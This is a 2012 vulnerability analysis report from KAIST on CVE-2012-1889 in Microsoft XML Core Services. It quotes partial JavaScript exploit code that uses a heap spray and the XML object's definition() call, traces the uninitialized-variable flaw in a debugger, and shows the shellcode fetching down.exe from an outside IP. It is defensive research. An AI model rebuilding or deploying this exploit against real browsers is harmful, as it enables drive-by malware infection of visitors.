KAIST CSRC 보안분석보고서

Document #	CSRC-12-03-006	Title	tle XMLCoreServices Vulnerability Analysis (CVE-2012-1889)					
Туре	☐ Attack Trend☐ Technical Analysis■ Specialty Analysis	Date	July 6, 2012	Author	KAIST Graduate School of Information Security Minsu Kim			

* Keyword : XMLCoreServices, CVE-2012-1889

1. Executive Summary

Recently, the malicious web pages exploiting XMLCoreServices vulnerability are frequently observed, and since Microsoft have released just a temporary fix for this vulnerability, many Internet Explorer users are exposed to this security threat. This document provides detailed analysis of XMLCoreServices (CVE-2012-1889) vulnerability.

This vulnerability can be exploited by abusing uninitialized memory section of Microsoft Core Services 3.0, 4.0, 5.0 and 6.0, and ultimately executes malicious code injected by the attacker. This vulnerability can be temporarily removed by Fix It (<u>http://support.microsoft.com/kb/2719615</u>), which disables XML Core Services, however Microsoft should release official patch to this vulnerability as soon as possible.

This vulnerability has been analyzed on the machine with Windows XP SP2, Internet Explorer 6, and Microsoft Core Services 3.0. The vulnerability exists in msxml3.dll, which provides Core Services. The structure of memory where the exploitation of the vulnerability takes place is shown in Figure 1 below.



[Figure 1] Memory structure upon the exploit

2. Description

1. The Exploit Code

Figure 2 is a part of the source code that exploits XMLCoreServices vulnerability written in JavaScript language.

```
var gondad = document.createElement('object');
gondad.setAttribute("classid","clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4");
gondad.setAttribute("id","oo");
document.body.appendChild(gondad);
var shellcode = unescape('%u9090%u9090생략%uBDBD%uC3C3');
var a = new Array();
var ls = 0x100000-(shellcode.length*2+0x01020);
var b = unescape("%u0d0d%u0d0d");
                                   생략
                                     var obj = document.getElementById('oo').object;
war src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(1);
```

[Figure 2] Source Code of Malicious Web Page

The heap section of Internet Explorer has to be modified in order to place the shellcode on the desired memory location, however this document does not precisely describe how it is done. For more information, refer to Heap Feng Shui in JavaScript[1].

The heap section is consisted of two parts. One is nop-sled, and the other is shellcode. This malicious shellcode section is followed by the nop-sled section containing meaningless code(0x0D0D0D0D) thus only increases EIP address to eventually execute the shellcode. This typical method is known as Heap Spray.

As shown in Figure 2, it creates an element called 'img' in the object of the webpage, and it assigns variable called 'src' containing 0x0C0C0C0C to 'img'. By abusing 'img' element, it will write 0x0C0C0C0C in the location where XML Core Services' definition() function refers to, and ultimately, the written location will be executed.

2. Vulnerability Analysis

A. Vulnerable Spot

In order to figure out where the vulnerable spot is, we temporarily removed the shellcode from the malicious page, and attached the debugger to this page. As shown in Figure 3, access violation occurs at 0x5D43D772, since the shellcode has been removed. The corresponding section belongs to msxml3.dll, specifically _dispatchImpl::InvokeHelper function.

53	PUSH EBX	
50	PUSH EAX	
FF51 18	CALL DWORD PTR DS: [ECX+18]	
8945 OC	MOV DWORD PTR SS:[EBP+C],EAX	
8B06	MOV EAX, DWORD PTR DS:[ESI]	
56	PUSH ESI	
FF50 08	CALL DWORD PTR DS: [EAX+8]	
	50 FF51 18 8945 OC 8B06 56 FF50 08	50 PUSH EAX 50 PUSH EAX FF51 18 CALL DWORD PTR DS:[ECX+18] 8945 0C MOV DWORD PTR SS:[EBP+C],EAX 8B06 MOV EAX,DWORD PTR DS:[ESI] 56 PUSH ESI FF50 08 CALL DWORD PTR DS:[EAX+8]

DS:[5F5EC6A3]=???



B. Flow Analysis

From the previous section, we have figured out that the vulnerability gets triggered by the function called _dispatchImpl::InvokeHelper. Since this function is responsible for being exploitable, we have put breakpoint to this function for the analysis.

This function gets called three times in total, and we learned that the third one actually exploits the vulnerability. Each call and the corresponding web page source code is described in Table 1. The second call and the third call were doing important jobs, hence we explain them in this document. We will begin with the analysis of the third call for better understanding.

1st Call	gondad.setAttribute("classid","clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4");
2nd Call	gondad.setAttribute("id","oo");
3rd Call	obj.definition(1);

[Table 1] InvokeHelper Calls

C. The Third Call of InvokeHelper

In Figure 4, the memory dump of the Internet Explorer process right before the third call of InvokeHelper function shown, and it is sprayed with 0x100000 sized heap.

M Mem	ory ma							- 🗆 🗙
Address	Size	Owner	Section C	ontains		Туре	Access	Initi 👗
0C530000 0C630000 0C730000	00100000 00100000 00100000 00100000	D Dun	np - 0003	800000D1:	2FFFF			
0C930000 0CA30000 0CB30000	00100000 00100000 00100000	0D12EA00 0D12EA10 0D12EA20 0D12EA20	0 00 00 00 0 0 00 00 00 0 0 00 00 00 0	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 0 00 00 00 00 0 00 00 00	D 0D 0D 0D 0D 0D D 0D 0D 0D 0D 0D D 0D 0D 0D 0D 0D		
0CC30000 0CD30000 0CE30000 0CF30000 0D030000	00100000 00100000 00100000 00100000 00100000	0D12EA40 0D12EA50 0D12EA60 0D12EA70	3D 0D 0D 0 3D 0D 0D 0 58 58 58 58 3 30 30 8D 0	0D 0D 0D 0D 0D 0D 0D 0D 90 33 DB B3 1C 40 E2 FA 55	00 00 00 00 00 0 90 90 90 09 E 03 C3 31 C9 6 88 BE 80 80 D	D 0D 0D 0D 0D 00 1 D9 34 24 58 6 81 E9 65 FF XX3 5 BD 9D BD BC '0	[일말結?\$X (3初に♥??군e ?等U말슬蓬轧	
0D130000 0D230000 0D330000 0D430000	00100000 00100000 00100000 00100000	0D12EA90 0D12EA90 0D12EA80 0D12EA80 0D12EA80	42 6D 55 42 6D 50 50 50 50 50 50 50 50 50 50 50 50 50	4B 42 42 42 55 FØ BC BD 45 55 9F BD 55 34 BE BD	55 80 BE BD B BD 55 FB BD B BD 80 55 F9 B BD 80 55 F9 B BD 36 45 55 B	0 36 45 55 88 Bml 0 80 55 66 88 Aml 0 80 85 66 88 Aml 1 80 80 80 55 80 Aml 1 80 80 80 55 41 Aml	bmp 및 걸 걸 CE V EI 14 KBBBU' 별 ?EU 플 홈 솔 너 및 솔 U f 6EU를 솔 U 및 솔 U 플 4 별 ?EU 및 솔 U	
0D530000 0D630000 0D730000 0D830000 0D830000	00100000 00100000 00100000 00100000 00100000	0D12EAD0 0D12EAE0 0D12EAF0 0D12EAF0	DC BC BD 1 FD D5 BD 1 BD E5 7E 1 24 BF BD 1	BD 55 A7 BD AD BD BD EA EE 36 61 EE BD 55 70 BD	BD BD 56 E5 E 55 ØC BF BD B D7 9D D5 BD A BD BD E5 7E E	E 36 61 EE D7 🗯 D 55 58 BD BC 🛤 D BD BD EA 55 💐 A 55 81 B9 BC \$2	소()옥소()秦6a 비소?,연종X소 "?a 指말비소? "준p소리"?평	
0DA30000 0DB30000 0DC30000	00100000 00100000 00100000	0D12EB10 0D12EB20 0D12EB30	30 36 45 22 7E E6 12 ED 7E	85 74 F4 85 83 78 BA 05 54 29 P9 P0	70 00 7E 41 4 83 34 E2 BC D 80 E4 30 E1 0	F 13 30 FH 42 7E B 83 7A FA B6 ?? 9 BC PD PD 34 B] 9 BC PD PD 95 36 B]	E ?). HU‼0? (??莲?z伸 'T(空星<0時会6	
0DD30000	00100000	8943593	21 82 92 1 <u>4</u> 1		20 03 CH FF D			N N

[Figure 4] Heap Spary

The red boxed section of Figure 4 is the shellcode, which is followed by the nop-sled(0x0D0D0D0D) to aid its execution. Knowing that the shellcode is already loaded in the memory before the third call, we need to inspect how the third call will invoke the execution of the shellcode. The beginning of the code section of InvokeHelper function in msxml3 module is shown in Figure 5.

C CPU -	main thread, m	odule msxml3					
5143D6BE	8BFF	MOV EDI,EDI			^	Registers (FPU)	< < <
5D43D6C0	55	PUSH EBP			-	EAX 00000000	
5D43D6C1	SBEC	MOV EBP,ESP				ECX 0000002C	
5D43D6C3	81EC 0C010000	SUB ESP, 10C				EDX 5D404050 msxm13.5D404050	
5D43D6C9	53	PUSH EBX	2012			EBX 00000017	
5D43D6CA	56	PUSH ESI	msxm13.	5D4CF584		FSP 00120940	
5D43D6CB	33DB	XOR EBX,EBX				FBP 0012D940	
5D43D6CD	395D 24	CMP DWORD PTR SS:[EBP+24],EBX				FST SDACF584 meyml3 SDACF584	
5D43D6D0	57	PUSH EDI				FDT_0012DB44	
5D43D6D1	53	PUSH EBX				EDI OGIEDDAN	
5D43D6D2	53	PUSH EBX				EIP 5D43D6C3 msxm13.5D43D6C3	
5D43D6D3	0F9545 FF	SETNE BYTE PTR SS: [EBP-11				C O FC COOR ROLL D (FFFFFFFFF)	
5D43D6D7	895D F8	MOV DWORD PTR SS: [EBP-81.EBX				L U LD UUZD BZDIL U(FFFFFFFFF)	
5D43D6DA	FF15 9C904C5D	CALL DWORD PTR DS: [5D4C909C]	OLE AUT:	32.SetErrorInfo		r i CS DOLD SZDIC D(FFFFFFFFF)	
5D43D6F0	8875 00	MOV FST DMODD PTP SS (FEPAC)	meym13	50407584		A U 55 UU25 SZDIC U(FFFFFFFF)	
5D43D6F3	8D45 F4	LEA FAY DWORD PTR SSIFEP-CI	mortan o			Z 1 DS 0023 32DIC 0(FFFFFFFF)	
SD43D6E6	50	DISH FAY				S 0 FS 003B 32bit 7FFDF000(FFF)	
SD43D6E7	OFFERE 1C	WOUZY FAY PUTT DTD DG. (FGT.)(C)				T 0 G3 0000 NULL	
CD 40D CFD	07D040 10	novan EAN, DITE FIR DS.[ESITIC]				D 0	
SD43D6EB	50 FF76 10	DUCH DUODD DTD DC. (FCT. 101	marm 12	ED 40 29 19		0 0 LastErr ERROR_SUCCESS (00000000)	
5D45D6EC	FF76 10	PUCH DWORD FIR DS:[LSI+10]	maxmin.	5D4CF0A0		EFL 00040246 (NO.NB.E.BE.NS.PE.GE.LE)	
5D45D6LF	FC COFOFFEFE	FOSH DWORD FIR SS:[EDF+10]					
5D43D6F2	LO DYFYFFFF	CALL MSXMIS. SD43D060				STO empty - ??? FFFF OOFFOOFF OOFFOOFF	
5D43D6F7	3513	LAR EAX, EBX				ST1 empty -??? FFFF 00FF00FF 00FF00FF	
5D43D6F9	8945 UL	MUV DWORD PIR 55:[EBP+C], EAX				ST2 empty -??? FFFF 000000DD 00DC00CC	
5D43D6FC[v 0F8C 00010000	JL msxm13.5D43D802			1	ST3 empty -??? FFFF 000000DD 00DC00CC	
5					1	ST4 empty -??? FFFF OODEDDCD OODEDDCD	
ESP=0012D	940					ST5 empty -222 FFFF 000000DE 00DD00CD	
			1000000	ř.	120	Si6 empty 4086.000000000000000	
Address	Hex dump		ASCII			00120920 0000000	<u> </u>
0012D978	70 E0 AC 02 BC D	9 12 00 84 4D 45 5D 84 F5 4C 5D	p席1合], 껶E]꽃L	1		00120924 0000000	
0012D988	DC 3A DC 05 17 0	0 00 00 F8 A7 43 50 09 04 00 00	221惇C].」			00120928 0000000	
0012D998	03 00 00 00 44 D	B 12 00 4C DC 12 00 24 DB 12 00	LD?.L2.\$?.			DOTZDAZCI OCOCOCOC	
0012D9A8	5C DA 12 00 70 E	0 AC 02 5C DA 12 00 00 00 00 00	\?.p席ŋ\?			0012D930 0C0C0C0C	
0012D9B8	70 E0 AC 02 F0 D	9 12 00 E4 CA 45 5D DC 3A DC 05	p席+ 糟1. 鰐E]??			0012D934 0C0C0C0C	
0012D9C8	17 00 00 00 F8 A	7 43 5D 09 04 00 00 03 00 00 00	┤悖[].┘└			0012D938 0C0C0C0C	
0012D9D8	44 DB 12 00 AC D	C 12 00 24 DB 12 00 5C DA 12 00	D2.L2.62.\2.			0012D93C 0C0C0C0C	
0012D9E8	5C DA 12 00 17 0	0 00 00 4C DA 12 00 AA D5 43 5D	\? L?. 4-6]			0012D940 0012D97C	
0012D9F8	CO 3A DC 05 17 0	0 00 00 F8 A7 43 50 09 04 00 00	221 惇C].」			0012D944 5D43DB13 RETURN to msxm13,5D4	3DB13 from m
0012DA08	03 00 00 00 44 D	B 12 00 4C DC 12 00 24 DB 12 00	LD2.L2.\$2.			0012D948 05DC3ADC	
0012DA18	5C DA 12 00 F4 3	A DC 05 30 D0 1C 04 00 00 00 00	V2.22024			0012D94C 5D4CF584 msxm13.5D4CF584	
0012DA28	E0 9A 1F 02 40 9	D 1F 02 00 00 00 00 E0 9A 1F 02	2102121		100	0012D950 00000017	100
0012DA38	38 9B CD 04 00 0	0 00 00 00 00 00 00 00 00 00 00	8/41			0012D954 00000409	
0012DA48	70 E0 AC 02 7C D	A 12 00 6C 6E 45 5D DC 3A DC 05	n應12.1nE122			0012D958 00000003	
0012DA58	84 E5 4E 5D 00 0	0 00 00 17 00 00 00 09 04 00 00	₩1.1		-	0012D95C 0012DB44	14
2000			S			colonoco Loolone en	-
S					1	S	2

[Figure 5] The beginning section of msxml3.dll's InvokeHelper function

By carefully executing each line of the code in Figure 5, we can reach the point right before the execution of the command at 0xD43D6C3(SUB ESP, 10C). To be specific, we stopped executing the program right before it reserves 10C bytes for the local variables of this function. At this moment, the stack pointer at this moment points to 0x0012D940, and the space reserved for local variables of this function is already sprayed with 0x0C0C0C0C. In other words, by referring to uninitialized local variable in this function to call something else, attacker can handle the EIP register in order to execute the shellcode that is already loaded on the memory. The reason that the shellcode can only be executed by definition() function is shown in Figure 6.

5D43D73D	6A 02	PUSH 2		Registers (FPU)	< <
5D43D73F	53	PUSH EBX		FAX 0000001	
5D43D740	FF75 10	PUSH DWORD PTR SS:[EBP+10]		FCY SD455DFC msym13.5D455DFC	
5D43D743	FF75 08	PUSH DWORD PTR SS:[EBP+8]		FDX 0000001	
5D43D746	FF56 20	CALL DWORD PTR DS: [ESI+20]	msxm13.5D453B71	EBX 0000000	
5D43D749	3BC3	CMP EAX,EBX		FSP 00120828	
5D43D74B	0F8C C7000000	JL msxm13.5D43D818		FBP 0012D940	
5D43D751	8B45 EC	MOV EAX, DWORD PTR SS: [EBP-14]		EST 5D4CF584 mexm13.5D4CF584	
5D43D754	3BC3	CMP EAX,EBX		EDT 0012DB44	
5D43D756	8BF0	MOV ESI,EAX			
5D43D758,	, 74 26	JE SHORT msxml3.5D43D780		EIP 5D43D749 msxm13.5D43D749	
5D43D75A	FF75 28	PUSH DWORD PTR SS: [EBP+28]		C 0 ES 0023 32bit 0(FFFFFFFF)	
5D43D75D	8B08	MOV ECX, DWORD PTR DS: [EAX]		P 0 CS 001B 32bit 0(FFFFFFFF)	
5D43D75F	FF75 24	PUSH DWORD PTR SS: [EBP+24]		A 0 SS 0023 32bit 0(FFFFFFFF)	
5D43D762	FF75 20	PUSH DWORD PTR SS: [EBP+20]		2 0 DS 0023 32bit 0(FFFFFFF)	
5D43D765	57	PUSH EDI		S 0 FS 003B 32bit 7FFDF000(FFF)	
5D43D766	6A 03	PUSH 3		T 0 GS 0000 MULL	
5D43D768	FF75 14	PUSH DWORD PTR SS: [EBP+14]		D D	
5D43D76B	68 F8A7435D	PUSH msxm13.5D43A7F8		0 0 LastErr FREOR SUCCESS (0000000	01
5D43D770	53	PUSH EBX			1971 A
5D43D771	50	PUSH EAX		EFL 00040202 (NO,NB,NE,A,NS,PO,GE,C	r)
5D43D772	FF51 18	CALL DWORD PTR DS: [ECX+18]	msxm13.5D455EE8	STO PUDLY -222 FFFF DOFFDOFF DOFFD	- म'म।
5D43D775	8945 OC	MOV DWORD PTR SS:[EBP+C],EAX		STL empty -222 FFFF ODFFODFF DOFFO	मन
Sealor Statistics	(\$125 August 11)	STATISTICS AND ADDRESS AND ADDRESS AND ADDRESS AND ADDRESS ADDR		with employ and the control of the	

[Figure 6] Branch to vulnerable code execution

The command CALL DWORD PTR DS:[ESI+20] at 0x5D43D746 executes the command at 0x5D453B71 of msxml3.dll, which is DOMNode::_invokeDOMNode function. Node::getDefinition sets EAX value to 1, and therefore 0x5D43D74B of Figure 6 does not branch and the vulnerable code can be executed.

The vulnerable spot was 0x5D43D772 in Figure 6, and at this point, the program calls the value that ECX+18 points to. This ECX register gets modified at 0x5D43D75D in Figure 6, by storing the value of the memory pointed by EAX register. This EAX register stores the value of EBP-14 at 0x5D43D751. Since EBP is 0x0012D940, EAX stores the value at 0x0012D92C. Since the variable is not initialized upon the execution of this code, EAX gets 0x0C0C0C0C value. The memory structure at 0x5D43D75D within the debugger is shown Figure 7.

5D43D758	v 74 2	26			J	E S	HOF	TI	ISXI	13.	5D-	43D'	780						
5D43D75A	FF7	5 28			P	USE	I DU	IORI	PT	R :	5S:	EBI	P+28	3]					
5D43D75D	8808	3			M	IOV	ECX	Du	IORI	P.7	TR I)S:	EAD	(]					
5D43D75F	FF7	5 24			P	USE	I DU	IORE	PT	R :	55:1	EBI	P+24	4]					
5D43D762	FF7	5 20			P	USE	I DU	IORI	PT	R :	5S:	EBI	P+20]					
5D43D765	57				P	USE	I ED	I											
5D43D766	6A (33			P	USE	I 3												
5D43D768	FF73	5 14			P	USE	I Du	IORI	PT	R :	55:1	EBI	P+1+	4]					
5D43D76B	68 1	F8A7	435	5D	P	USE	I ms	xml	3.5	D43	8A71	78							
5D43D770	53				P	USE	I EE	X											
5D43D771	50				P	USE	I EA	X											
58430772	FF5.	1 18	;		C	ALI	Du	ORE	PI	RI)S:	EC)	(+18	3]		1	msxm13.	.5D455EE8	
5D43D775	8943	5 00			M	IOV	DWC	RD	PTF	S:	5:[]	CBP-	HC1.	EAD	< .				
5D43D778	8B06	5			M	IOV	EAX	,DW	IORI) P7	TR I	s:	ES	[]					
5D43D77A	56				P	USE	I ES	I					10	2					
5D43D77B	FF5(0 08			C	ALI	Du	IORE	PT	RI	S:1	EAD	(+8)	1					
CD 400 770	י סיז	70				IM D	CUC	ידיו		1 /) ET	NOT	ושרי			4			1
DS:[OCOCO ECX=5D455	COC]=(DFC (1)DOD 13X1	ODC)D 5D4	15.5D	FC)	j									_			
Address	Hex du	mp	:												1	ASCII			
ococococ	OD OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD				
OCOCOC1C	OD OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD			ŝ.	
ocococ2c	OD OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD			2	
OCOCOC3C	OD OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	OD	0D	OD				
ncncnc4c	מח מח	0D	ΠD	ND	ΠD	ΠD	np	ΠD	ΠD	ΠD	nD	ΠD	ΠD	ΠD	ΠD			-	

[Figure 7] Memory dump at 0x5D43D75D

As shown in Figure 7, EAX contains 0x0C0C0C0C and it points to the value of 0x0D0D0D0D, hence this 0x0D0D0D0D value will be stored in ECX upon the execution of 0x5D43D75D.

5D43D772	FF51 18	CALL DWORD PTR DS:[ECX+18]	
5D43D775	8945 OC	MOV DWORD PTR SS: [EBP+C], EAX	
5D43D778	8B06	MOV EAX, DWORD PTR DS:[ESI]	
5D43D77A	56	PUSH ESI	
5D43D77B	FF50 08	CALL DWORD PTR DS: [EAX+8]	
CD 40D 995	חד סס	THE SHOPT way 19 ED JOD TO	
DS: [ODODO]	D251=0D0D0D0D		

[Figure 8] Memory dump at 0x5D43D772

Eventually, as shown in Figure 8, the command at 0x0D0D0D0D, which the attacker placed in the memory, gets executed as we expected.

D. The second call ~ the third call

Before the third call, the value of 0x0C0C0C0C was assigned to the local variable area(0x0012D93C) of msxml3.dll's InvokeHelper. We need to trace where this assignment is made. We have placed the hardware breakpoint on this memory location of 0x0012d93C in order to be notified upon the access. During the trace, the command shown in Figure 9 was discovered.

CPU - main thread, module mshtml AND DWORD PTR DS:[ESI],0 PUSH EDI 8326 00 57 7E5D601D 7E5D6020 Registers (FPU) 7F 5D 60 21 8870 08 MOV EDI.D RD PTR SS:[EBP+8] 7E5D6024 6A 00 PUSH 0 EDX 00128980 7E5D6026 PUSH -1 6A FF EBX 7E3A29CC mshtml.7E3A29CC SS:[EBP-4],EAX E5D6028 8945 FC MOV DI ESP 001289C0 ESD602B PUSH EDI EBP 0012D9E0 8D85 FCDFFFFF D PTR SSIFEBR-20 7E5D602C LEA EAX.D E5D6032 50 PUSH EAX PUSH 1000 EDI 01FB4580 E5D6033 68 00100000 EIP 7E5D6042 mshtml, 7E5D6042 E5D6038 SBCF MOV ECX.EDI tm1.7E45D69B CALL mshi ESD603A E8 5C76E8FF C 0 ES 0023 32bit 0(FFFFFFF) ESD603F 50 CS 001B 32bit 0/FFFFFFFF D 9 6A 00 PUSH 0 0 SS 0023 32bit 0(FFFFFFF 0 DS 0023 32bit 0(FFFFFFFF 0 DS 0023 32bit 0(FFFFFFFF CALL mehtml.7E40au. TEST EAX,EAX MOV DWORD PTR SS:[EEP-2008],EAX MNZ SHORT mehtml.7E5D6078 MR FAX,DWORD PTR SS:[EEP-2004] 7E5D6042 E8 ADC8E5FF 85C0 0 FS 003B 32bit 7FFDD000(FFF) 7E5D6049 8985 F8DFFFFF GS 0000 NULL TE SD604E 75 27 E5D6051 8D85 FCDFFFFF 0 0 LastErr ERROR SUCCESS (00000000) E5D6057 6A 2F EFL 00040202 (NO,NB,NE,A,NS,PO,GE,G) ESD6059 50 CALL DWORD PTR DS:[<Gmsvcrt.wcsrchr>] TEST EAX,EAX PUSH EAX ESD605A FF15 8814397E msvcrt.wcsrchr STO empty -2?? FFFF OODEDDCD OODEDDCD ST1 empty -??? FFFF 00000000 00000000 7E 5D 60 60 85C0 E5D6062 59 POP ECX TZ empty -222 FFFF 000000DD 00DC00CC E5D6063 59 POP ECX T3 empty -222 FFFF 000000DD 00DC00CC 5 T4 empty -??? FFFF OODEDDCD OODEDDCD 7E4328F4=mshtml.7E4328F4 ST5 empty -??? FFFF 000000DE 00DD00CD 4086.00000000000000000 001289C0 00000000 Arg1 = 00000000 Address Hex dump ASCII ~ 151DBD78 Arg2 = 151DBD780012B9C4 0012B9C8 Arg3 00128900 0012B9E8 Arc4 = 001289E8 SIDBD98 OC OC Arg5 = 01FB4580 Arg6 = FFFFFFFF Arg7 = 00000000 0012B9D0 0012B9D4 01FB4580 FFFFFFF 0012B9D8
 SIDBDC8
 OC
 <t 0012B9DC 04£032F0 0012B9E0 0012B9E4 00A418A4 LSIDBERS OC OC LSIDBEOS OC OC 00 00 00 00 00 00 00 00 00 00 00 0C ne oc or 00 00 0012B9E8 0012BA38 0C 0012B9EC 0012B9F0 0012BA18 77CF8734 RETURN to USER32.77CF8734
 SIDBE28
 OC
 <t 001289F4 OO13017E UNICODE "NDOWS\\WinSxs\\ J012B9F8 51DBE48 OC OC 00 00 00 0012B9FC 3

[Figure 9] pic.src = src section of code

The command calls the function that takes seven parameters at 0x7E5D6043 in Internet Explorer's mshtml module. This function is called when pic.src = src code shown in Figure 2 gets executed, and this code assigns 0x0C0C0C0C value to 'src' property of 'img' object of the webpage. The address of the second parameter of this function is 0x151DBD78, and this location contains the value of 'src'. The fourth parameter is the relative address of 'pic.src', and copies the value of 'src' to this 0x0012B9E8 memory location.

0012B9E8	00690066		0012D928	00000000
0012B9EC	0065006C	UNICODE "ith &00's"	0012D92C	00000000
0012B9F0	002F003A		0012D930	00000000
0012B9F4	0078002F		0012D934	00000000
0012B9F8	00780078		0012D938	00000000
0012B9FC	00000000		0012D93C	00000000
0012BA00	00000000		0012D940	00000000
0012BA04	00000000		0012D944	00000000
0012BA08	00000000		0012D948	00000000
0012BA0C	00000000		0012D94C	00000000
0012BA10	00000000		0012D950	ococococ
0012BA14	00000000		0012D954	ococococ
0012BA18	00000000		0012D958	ococococ
0012BA1C	00000000		0012D95C	ococococ
0012BA20	00000000		0012D960	ococococ
0012BA24	00000000		0012D964	ococococ

[Figure 10] Memory Dump after The [Figure 11] Memory Dump after The Execution Execution

Figure 10 and 11 shows the state of memory after the execution of the command at 0x7E5D6042. Figure 10 shows where the value is assigned initially, and Figure 11 shows the memory section where vulnerable spot refers to. In both Figure 10 and 11, the memory is sprayed with 0x0C0C0C0C after the execution. Therefore, attacker can successfully exploit this vulnerability as desired.

E. After the exploit

Once the exploit code is executed, the program moves on to 0x0D0D0D0D section, which is sprayed by the attacker. Beginning from 0x0D0D0D0D section, it bumps into the nop-sled that gently leads to the shellcode section, as shown in Figure 12.

OD1BEA3A	OD ODODODOD	OR EAX, ODODODOD	
OD1BEA3F	OD ODODODOD	OR EAX, ODODODOD	
OD1BEA44	OD ODODODOD	OR EAX, ODODODOD	
OD1BEA49	OD ODODODOD	OR EAX, ODODODOD	
OD1BEA4E	OD ODODODOD	OR EAX, ODODODOD	
OD1BEA53	OD ODOD9090	OR EAX, 90900D0D	
OD1BEA58	90	NOP	
OD1BEA59	90	NOP	
OD1BEA5A	D9E1	FABS	
OD1BEA5C	D93424	FSTENV (28-BYTE) PTR SS:[ESP]	
OD1BEA5F	58	POP EAX	msxm13.5D43D775
OD1BEA60	58	POP EAX	msxm13.5D43D775
OD1BEA61	58	POP EAX	msxm13.5D43D775
OD1BEA62	58	POP EAX	msxm13.5D43D775
OD1BEA63	33DB	XOR EBX,EBX	
OD1BEA65	B3 1C	MOV BL,1C	
OD1BEA67	0303	ADD FAX, FBX	
OD1BEA69	31C9	XOR ECX,ECX	
OD1BEA6B	66:81E9 65FA	SUB CX, OFA65	
OD1BEA70	8030 BD	XOR BYTE PTR DS: [FAX], OBD	
OD1BEA73	40	INC EAX	
OD1BEA74	^ E2 FA	LOOPD SHORT OD 1 BEA70	

[Figure 12] shellcode and decoding routine

The section in the red box in Figure 12 designates the decoding routine that decodes the obfuscated string values, and after this routine, the execution of the attacker's shellcode begins.

Address	Hex dump	ASCII	000DFDD0 76676DFF CALL to send from WININET.76676DFS
02090778	47 45 54 20 2F 64 6F 77 6E 2E 65 78 65 20 48 54	GET /down.exe HT	00DDFDD4 0000066C Socket = 66C
02090788	54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20	TP/1.1Accept:	00DDFDD8 02C9C778 Data = 02C9C778
02090798	2A 2F 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F	*/*Accept-Enco	00DDFDDC 00000000 DataSize = CO (192.)
020907A8	64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C	ding: gzip, defl	00DDFDE0_00000000 -Flags = 0
02C9C7B8	61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A	ateUser-Agent:	00DDFDE4 02C64510
02090708	20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F	Mozilla/4.0 (co	OODDFDE8 OOIA3A18 ASCII "擅fvf"
02090708	6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 36	mnatible: MSIE 6	OODDFDEC 0017B438 ASCII "₩tv1"
02C9C7E8	2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35	.0: Windows NT 5	OODDFDF0 02BB30D8
020907F8	2E 31 3B 20 53 56 31 29 0D 0A 48 6F 73 74 3A 20	.1: SVI)Host:	00DDFDF4 C00DDFE00
02090808	31 37 34 2E 31 33 39 2E	174-139	00DDFDF8 76676D3A RETURN to WININET.76676D3A from WININET.76676D43
02090818	35 39 32 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E	5920Connection	OODDFDFC 02BCE028

[Figure 13] Malware download section

As shown in Figure 13, the shellcode makes GET request to create malware from 174.139.XXX.XXX/down.exe and executes it. Since the shellcode serves as a downloader, this additionally downloaded file, such as down.exe, can perform any malicious activity as desired. The most frequently observed activities of the downloaded programs are killing anti-virus programs, hijacking accounts and installing backdoors.

3. Conclusion

XML Core Services (CVE-2012-1889) vulnerability is exploitable by abusing uninitialized variable in its object. For this to work, locations of 'img' obejct and XML Services object should be well-controlled by calling CollectGarbage function and assigning values to heap section, however the analysis of this specific part has been omitted in this document.

One of possible scenarios of the attack exploiting this vulnerability begins with an attacker modifying the normal webpage by attacking vulnerable website, and thus directing the visitors to the malicious webpage. This malicious webpage declares vulnerable XML Core Services object and assigns it to the DOM object of the webpage. If XML Core Services is disabled, the exploitation will fail to take place. The webpage then assigns malicious shellcode to the heap section of the Internet Explorer process, and writes the address of the heap section repeatedly in 'src' property of 'img' object. By overwriting on the section of the local variable that will be called upon the execution of XML Core Services' definition function, the shellcode in the heap section can be executed by the visitor's machine. This embedded shellcode usually acts as the downloader that downloads and executes additional malware, and therefore, the visitors can be infected by simply visiting this malicious webpage. The common malicious activities are hijacking personal informations, such as game accounts and etc., or installing backdoors for additional attacks.

Currently, all of the Internet Explorer users are exposed to such threat, since msxmlx.dll that provide XML Core Services is loaded upon the execution of Internet Explorer as default library. Especially, if a popular website contained such malicious page, most of the visiting machines without the temporary patch would be infected.

Microsoft should release the official patch to remove this vulnerability as soon as possible, because the attack is expected to be highly successful without official patch.

3. References

- 1. Sotirov. A, Heap feng shui in JavaScript, Black Hat Europe, 2007.
- 2. http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889
- 3. <u>http://technet.microsoft.com/ko-kr/security/advisory/2719615</u>
- 4. Brian MARIANI & Frédéric BOURA, https://www.htbridge.com/publication/CVE-2012-1889.pdf